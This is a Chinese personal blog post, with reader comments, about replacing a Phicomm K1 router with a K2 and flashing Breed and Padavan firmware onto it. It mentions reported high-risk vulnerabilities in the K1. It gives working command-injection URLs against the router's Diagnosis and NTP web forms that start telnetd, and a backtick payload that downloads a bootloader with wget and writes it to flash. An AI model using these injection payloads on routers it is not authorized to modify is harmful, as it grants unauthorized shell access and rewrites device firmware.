K1 换 K2…(计划赶不上变化)

20 Comments

RT，将之前买的 K1 高价卖掉了，再买了个 K2，看网上评测，这个斐讯 PSG1218 K2 千兆智能无线路由用料更好：MT7620A+MT7612 方案、2.4G&5G双频 1200M、带功放芯片（信号会更好）……

372-K12-PA-LNA

乌云漏洞平台已经公开两个关于斐讯 K1 PSG1208 的高危漏洞：一为涉嫌收集用户信息并可能泄露；二为存在路由可被内网任意下载路由配置文件无需管理密码。

报告链接：http://wooyun.org/bugs/wooyun-2015-0163398 、 http://wooyun.org/bugs/wooyun-2015-0163402

所以，自用的话还是先刷机吧。原厂固件升级了，不能直接进入 telnet，需要先更新一下配置文件。不过该方法对最新固件已失效，计划赶不上变化啊……▼展开

第一步，刷 Breed( AR/QCA/MT762X 功能强大的多线程 Bootloader )：

  • 下载配置文件：config_telnetd_K1_K2.7z（config_telnetd_K1.dat 对应K1；config_telnetd_K2.dat 对应K2）
  • 登陆 K2 路由器管理后台，输入用户名和登录密码（默认用户名和密码都是 admin）
  • 进入系统工具-系统管理-配置文件管理，将之前下载好的配置文件添加，上传即可
  • 路由重启之后，再登录路由，在浏览器中输入 http://192.168.2.1/goform/Diagnosis?pingAddr=192.168.2.100|echo""|telnetd（其中 192.168.2.1 为默认的路由登陆ip，如果之前自己改动过就换成改过的ip），跳出一个界面不用管
  • 刷入Breed（相当于不死 Bootloader，详细介绍见：官方文档）：电脑打开 cmd.exe，输入 telnet 192.168.2.1，回车，登陆账号密码都是 admin。然后依次输入三条命令，每输入一条按一次回车（仅输入红色部分，分号'、'不用输入）。cd /tmp、wget http://breed.hackpascal.net/breed-mt7620-phicomm-psg1208.bin、mtd_write write breed-mt7620-phicomm-psg1208.bin Bootloader（也可以用 breed-mt7620-reset1.bin）
  • 刷完重启即可

第二步，刷入Padavan固件。

这里固件是华硕老毛子Padavan固件的华硕AC54U，固件适用于斐讯k1，k2，地址。在常规固件中选择解压后的那个trx文件上传更新，固件刷入成功。

本来打算刷机了自用的，现在暂时还是让它先吃吃灰，待下车了再没有办法的话拆机上编程器玩玩……

参考：

20160713 更新

前段时间 A2 版本的 K2 无法使用原来 A1 版本的方法打开 telnet 功能并刷入 Breed 的问题，现在已经得到解决，而且更为方便，只须在浏览器地址栏中输入：

http://192.168.2.1/goform/gra_NTPSyncWithLocal?text_year="2016|`if wget -O /tmp/breed.bin http://breed.hackpascal.net/breed-mt7620-phicomm-psg1208.bin;then mtd_write write /tmp/breed.bin Bootloader;echo breed ok! >/etc_ro/web/index.asp;fi`"

如果出现“breed ok!”的提示，即表示Breed已经成功刷入。

via：在斐讯K2上刷Tomato Phoenix固件

声明：除非注明，常阳时光文章均为原创
本文地址：https://cyhour.com/372/
转载时必须以链接形式注明原始出处。
Views: 2.3K Tags:  , 

Comments：20

  1. MeekdaiLV3

    看的我也像去搞一台玩玩了

    2016.04.27 08:29 # 回复
    1楼
  2. ShrekLV4

    这个牌牌的路由器好用么

    2016.04.27 11:23 # 回复
    2楼
  3. kn007LV3

    我想买台华硕的ac68u，可惜没钱

    2016.04.27 19:03 # 回复
    3楼
  4. CJ_Fang

    等改天咸鱼收个玩玩= =看上去还是不错

    2016.05.11 17:33 # 回复
    4楼
  5. 掩耳LV1

    已买K1并已回款，K1刷机后还是挺好用的

    2016.05.25 21:06 # 回复
    5楼
    • 老杨MOD

      @掩耳 K1 早回款了，K2 也差不多了。K1 已高价转卖，K2 用着感觉还行。

      2016.05.25 23:48 # 回复
  6. chencoolLV3

    不看正文还以为起亚K2呢~~

    2016.06.30 11:25 # 回复
    6楼
  7. 垃圾站

    我也想买个好点的路由器了……

    2016.07.01 13:22 # 回复
    7楼
  8. YaYaLV1

    不仅故意留下“高危漏洞”，还干脆想阻止刷机？
    这免费还真是不好拿，看来你也是逛地板的？

    2016.07.06 11:15 # 回复
    8楼
    • 老杨MOD

      @YaYa 也许那个就是他们赚钱的方法，不过拆机就基本上什么都能搞定了。天下没有免费的午餐嘛，所以免费的东西还是得稍稍折腾和付出点代价的。逛地板是啥意思？

      2016.07.06 11:41 # 回复
      • YaYaLV1

        @老杨 一个论坛，各色人，大概全天下的中国TD都在地板了。

        2016.07.06 12:16 # 回复
        • 老杨MOD

          @YaYa 今天看你的链接库才知道你说的地板原来是指 hi-pda.com，我只是偶尔逛逛。

          2016.08.05 18:29 # 回复
  9. 影乐

    网速总感觉openwrt的固件不如华硕的快

    2017.01.30 21:02 # 回复
    9楼
    • 老杨MOD

      @影乐 我没怎么用过 OpenWrt，基本上用华硕的。不过现在K1、K2都早已经高价转卖了。

      2017.02.02 19:55 # 回复

发表留言

Vultr 送$25 | 搬瓦工年付$19补货，优惠码 BWH34QMFYT2R | 推荐VPS信息